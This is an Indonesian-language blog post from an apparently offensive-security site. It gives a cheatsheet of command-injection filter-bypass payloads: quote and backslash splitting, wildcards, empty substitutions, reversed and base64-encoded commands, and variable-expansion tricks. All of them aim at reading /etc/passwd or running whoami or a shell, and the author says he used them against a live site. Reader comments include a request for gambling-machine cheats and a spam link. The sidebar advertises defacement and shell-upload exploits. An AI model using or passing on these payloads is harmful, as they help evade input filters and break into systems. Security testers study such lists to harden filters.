• Skip to primary navigation
  • Skip to main content
  • Skip to primary sidebar

LinuxSec Exploit

Nothing is Ever Locked

  • XSS Payloads
  • About Us

Command Injection Bypass Cheatsheet

April 15, 2019 by Jack Wilder 2 Comments

Command Injection Bypass Cheatsheet. Adakalanya saat kita melakukan command injection pada website atau aplikasi yang rentan command atau perintah yang kita kirim diblock karena mengandung kata yang sudah diblacklist. nah di tutorial ini saya akan sharing bagaimana caya membypass blacklist tersebut.

Command Injection Bypass Cheatsheet

Di contoh ini saya menggunakan perintah untuk melihat /etc/passwd .

Normal command :

cat etc/passwd

Nah di kasus yang saya alami, saya di block ketika ingin melakukan command injection pada web yang dihost di OVH.

Command with Quote

cat /e"t"c/pa"s"swd
cat /'e'tc/pa's'swd

Wildcard

cat /etc/pa??wd
cat /etc/pa*wd

Null variable

cat /et``c/passw``d
cat /et$()c/pa$()sswd
cat /et${neko}c/pas${poi}swd

Reverse & Encode command

`echo "dwssap/cte/ tac" | rev`
$(echo Y2F0IC9ldGMvcGFzc3dkCg== | base64 -d)

Bypass with single quote

w'h'o'am'i

Bypass with double quote

w"h"o"am"i

Bypass with backslash and slash

w\ho\am\i
/\b\i\n/////s\h

Bypass with [email protected]

[email protected]

Bypass with variable expansion

/???/??t /???/p??s??
test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}

Oke mungkin sekian sharing kali ini, jika ada yang ingin ditambahkan silahkan komentar.

Shares

Filed Under: Cheat Sheet, Web Hacking

Reader Interactions

Comments

  1. Oppung says

    June 2, 2019 at 6:33 pm

    Masta..di daerah saya nih, Sumatera utara kali ini menjamur mesin judi tembak ikan (mesin arcade) seperti yang dijual di alibaba.com..susah menjelaskan spesifik programnya karena saya juga ga paham, hehehe..yang pasti mesin judi tembak ikan tersebut kasat mata adalah program komputer..dan di alibaba.com juga dijual anti-cheater alaram.Dengan kata lain ada dong cheatnya untuk ngakalin tuh mesin..hehehehe..saya dan beberapa rekan lainnya termasuk player setia mesin judi tuh tapi kalah terus…mohon dong pencerahan dan solusinya (cheatnya) masta..

    Reply
  2. Solklayes says

    August 30, 2019 at 10:40 pm

    freeway lack suppose chorus contains ll https://apexcw.de/forum/member.php?action=profile&uid=13216 representing actually reached stool jammed

    Reply

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Primary Sidebar

Popular Post

CVE-2019-13360 – CentOS Control Web Panel Authentication Bypass

Exploit WordPress Plugin WP Mobile Edition Local File Disclosure Vulnerability

Cracking FTP Password using Hydra on BackBox Linux

Deface dengan Metode Timthumb Remote Code Execution

Deface WordPress dengan Exploit WordPress Plugins WPShop File Upload Vulnerability

Laravel PHPUnit Remote Code Execution

Exploit WordPress Plugin CopySafe PDF Protection Shell Upload

Woocommerce Custom Tshirt Desginer CSRF Shell Upload Vulnerability

Arti dari Kata Deface yang Sering Dibahas oleh para Hacker

Surge.sh Custom Domain or Subdomain Takeover

Powered by WordPress and Genesis Framework. Style by LinuxSec.